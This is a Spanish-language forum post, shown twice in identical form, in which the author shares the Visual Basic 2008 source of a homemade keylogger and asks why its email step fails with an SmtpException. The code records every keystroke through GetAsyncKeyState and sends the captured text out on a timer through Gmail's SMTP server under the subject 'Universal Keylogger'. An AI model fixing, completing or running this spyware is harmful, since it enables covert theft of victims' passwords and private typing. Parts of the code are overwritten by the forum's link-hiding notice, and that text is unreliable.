Hola a todos, necesito vuestra ayudaporfavor. Llevo ya un par de dias intentandolo de todas las formas posibles y esque no hay manera! D:
Se trata de un keylogger hecho por mi en visual basic 2008. Cojer las pulsaciones y etc. lo hace perfecto, el problema esta en el ultimo paso, al enviar el email. El codigo es este:
Imports System.Web
Imports No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Imports System.Net.Mail
Public Class Form1
Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
TextBox1.Text = TextBox1.Text + Chr(i)
End If
Next i
End Sub
Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
Dim mail As New MailMessage()
Dim SmtpServer As New SmtpClient
SmtpServer.Credentials = New Net.NetworkCredential("[email protected]", "mi contraseña ")
SmtpServer.Port = 587
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta = "smtp.gmail.com"
SmtpServer.EnableSsl = True
SmtpServer.EnableSsl = True
mail.To.Add("[email protected]")
mail.From = New MailAddress("[email protected]")
mail.Subject = "Universal Keylogger"
mail.Body = TextBox1.Text
SmtpServer.Send(mail)
End Sub
End Class
Ese es el code, pero a la hora de enviar el email me dice esto:
"No se controló SmtpException" "Error al enviar correo" y me marca en amarillo la parte "SmtpServer.Send(mail)"
porfavor alguna ayuda :S?
gracias de antemano!
PD: k tonto fui k sin kerer puse mi contraseña y uno me la cambio x) pero ya la he recuperado xD
Se trata de un keylogger hecho por mi en visual basic 2008. Cojer las pulsaciones y etc. lo hace perfecto, el problema esta en el ultimo paso, al enviar el email. El codigo es este:
Imports System.Web
Imports No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Imports System.Net.Mail
Public Class Form1
Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
TextBox1.Text = TextBox1.Text + Chr(i)
End If
Next i
End Sub
Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
Dim mail As New MailMessage()
Dim SmtpServer As New SmtpClient
SmtpServer.Credentials = New Net.NetworkCredential("[email protected]", "mi contraseña ")
SmtpServer.Port = 587
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta = "smtp.gmail.com"
SmtpServer.EnableSsl = True
SmtpServer.EnableSsl = True
mail.To.Add("[email protected]")
mail.From = New MailAddress("[email protected]")
mail.Subject = "Universal Keylogger"
mail.Body = TextBox1.Text
SmtpServer.Send(mail)
End Sub
End Class
Ese es el code, pero a la hora de enviar el email me dice esto:
"No se controló SmtpException" "Error al enviar correo" y me marca en amarillo la parte "SmtpServer.Send(mail)"
porfavor alguna ayuda :S?
gracias de antemano!
PD: k tonto fui k sin kerer puse mi contraseña y uno me la cambio x) pero ya la he recuperado xD